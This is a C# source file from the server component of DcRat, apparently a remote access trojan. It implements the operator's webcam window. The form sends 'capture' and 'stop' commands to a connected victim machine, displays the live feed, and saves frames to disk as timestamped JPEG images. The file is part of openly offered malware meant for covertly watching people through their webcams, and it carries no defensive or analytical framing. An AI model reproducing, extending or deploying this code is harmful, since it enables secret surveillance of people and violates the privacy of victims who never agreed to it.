DcRat/Server/Forms/FormWebcam.cs

130 lines
4.3 KiB
C#

using Server.MessagePack;
using Server.Connection;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Server.Forms
{
public partial class FormWebcam : Form
{
public Form1 F { get; set; }
internal Clients Client { get; set; }
internal Clients ParentClient { get; set; }
public string FullPath { get; set; }
public Stopwatch sw = Stopwatch.StartNew();
public int FPS = 0;
public bool SaveIt = false;
public Image GetImage { get; set; }
public FormWebcam()
{
InitializeComponent();
}
private void Button1_Click(object sender, EventArgs e)
{
try
{
if (button1.Tag == (object)"play")
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "webcam";
msgpack.ForcePathObject("Command").AsString = "capture";
msgpack.ForcePathObject("List").AsInteger = comboBox1.SelectedIndex;
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
button1.Tag = (object)"stop";
button1.BackgroundImage = Properties.Resources.stop__1_;
numericUpDown1.Enabled = false;
comboBox1.Enabled = false;
btnSave.Enabled = true;
}
else
{
button1.Tag = (object)"play";
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "webcam";
msgpack.ForcePathObject("Command").AsString = "stop";
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
button1.BackgroundImage = Properties.Resources.play_button;
btnSave.BackgroundImage = Properties.Resources.save_image;
numericUpDown1.Enabled = true;
comboBox1.Enabled = true;
btnSave.Enabled = false;
timerSave.Stop();
}
}
catch { }
}
private void Timer1_Tick(object sender, EventArgs e)
{
try
{
if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected) this.Close();
}
catch { this.Close(); }
}
private void FormWebcam_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
ThreadPool.QueueUserWorkItem((o) =>
{
Client?.Disconnected();
});
}
catch { }
}
private void BtnSave_Click(object sender, EventArgs e)
{
if (button1.Tag == (object)"stop")
{
if (SaveIt)
{
SaveIt = false;
//timerSave.Stop();
btnSave.BackgroundImage = Properties.Resources.save_image;
}
else
{
btnSave.BackgroundImage = Properties.Resources.save_image2;
try
{
if (!Directory.Exists(FullPath))
Directory.CreateDirectory(FullPath);
Process.Start(FullPath);
}
catch { }
SaveIt = true;
//timerSave.Start();
}
}
}
private void TimerSave_Tick(object sender, EventArgs e)
{
try
{
if (!Directory.Exists(FullPath))
Directory.CreateDirectory(FullPath);
pictureBox1.Image.Save(FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", ImageFormat.Jpeg);
}
catch { }
}
}
}